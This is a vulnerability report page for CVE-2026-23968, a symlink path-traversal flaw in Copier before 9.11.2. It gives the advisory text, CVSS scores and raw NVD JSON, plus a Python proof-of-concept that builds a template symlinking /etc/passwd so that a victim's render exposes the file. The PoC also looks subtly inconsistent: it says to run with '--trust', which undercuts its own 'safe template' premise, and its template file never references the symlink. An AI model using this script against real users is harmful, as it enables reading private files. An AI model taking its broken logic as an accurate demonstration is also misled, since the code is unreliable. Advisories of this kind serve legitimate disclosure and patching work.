Security Vulnerability Report
中文
CVE-2026-23968 CVSS 5.5 MEDIUM

CVE-2026-23968

Published: 2026-01-21 23:15:53
Last Modified: 2026-02-02 14:11:03

Description

Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with `_preserve_symlinks: false` (which is Copier's default setting). Version 9.11.2 patches the issue.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:copier-org:copier:*:*:*:*:*:python:*:* - VULNERABLE
Copier < 9.11.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malicious template structure for CVE-2026-23968 # This PoC demonstrates how a safe template can read arbitrary files via symlinks import os import tempfile import shutil from pathlib import Path def create_malicious_template(): """ Create a malicious template that exploits CVE-2026-23968 to read arbitrary files from the system. """ template_dir = Path(tempfile.mkdtemp()) # Create template structure src_dir = template_dir / "src" src_dir.mkdir() # Create symlink to sensitive file (e.g., /etc/passwd) # This works because _preserve_symlinks: false is the default symlink_path = src_dir / "sensitive_data.txt" # Target file to read (attacker-controlled via template) target_file = "/etc/passwd" try: os.symlink(target_file, symlink_path) print(f"[+] Created symlink: {symlink_path} -> {target_file}") except OSError as e: print(f"[-] Failed to create symlink: {e}") return None # Create copier.yml (safe template config - no UNSAFE features) copier_yml = src_dir / "copier.yml" copier_yml.write_text("""# This is a 'safe' template - no custom Jinja extensions project_name: my-project """) # Create template file that will include the symlinked content template_file = src_dir / "{{ project_name }}" / "data.txt" template_file.parent.mkdir(parents=True, exist_ok=True) template_file.write_text("{{ _copier_answers_file }}") print(f"[+] Malicious template created at: {template_dir}") print(f"[+] To exploit, run: copier copy {src_dir} /tmp/output --trust") return template_dir def verify_vulnerability(): """ Verify if the system is vulnerable to CVE-2026-23968 """ try: import copier version = copier.__version__ print(f"[*] Copier version: {version}") # Versions < 9.11.2 are vulnerable major, minor, patch = map(int, version.split('.')) if major < 9 or (major == 9 and minor < 11) or (major == 9 and minor == 11 and patch < 2): print("[-] System is VULNERABLE to CVE-2026-23968") return True else: print("[+] System is NOT vulnerable (patched)") return False except ImportError: print("[-] Copier not installed") return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-23968 PoC - Copier Symlink Path Traversal") print("=" * 60) verify_vulnerability() create_malicious_template()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23968", "sourceIdentifier": "[email protected]", "published": "2026-01-21T23:15:52.637", "lastModified": "2026-02-02T14:11:03.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with `_preserve_symlinks: false` (which is Copier's default setting). Version 9.11.2 patches the issue."}, {"lang": "es", "value": "Copier es una librería y aplicación CLI para renderizar plantillas de proyecto. Antes de la versión 9.11.2, Copier sugiere que es seguro generar un proyecto a partir de una plantilla segura, es decir, una que no utiliza características inseguras como extensiones Jinja personalizadas que requerirían pasar la bandera '--UNSAFE,--trust'. Resulta que una plantilla segura puede actualmente incluir archivos/directorios arbitrarios fuera de la ubicación de clonación de la plantilla local utilizando enlaces simbólicos junto con '_preserve_symlinks: false' (que es la configuración predeterminada de Copier). La versión 9.11.2 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:copier-org:copier:*:*:*:*:*:python:*:*", "versionEndExcluding": "9.11.2", "matchCriteriaId": "D801CAA3-21AA-451E-AB4E-8D30E9C5345D"}]}]}], "references": [{"url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}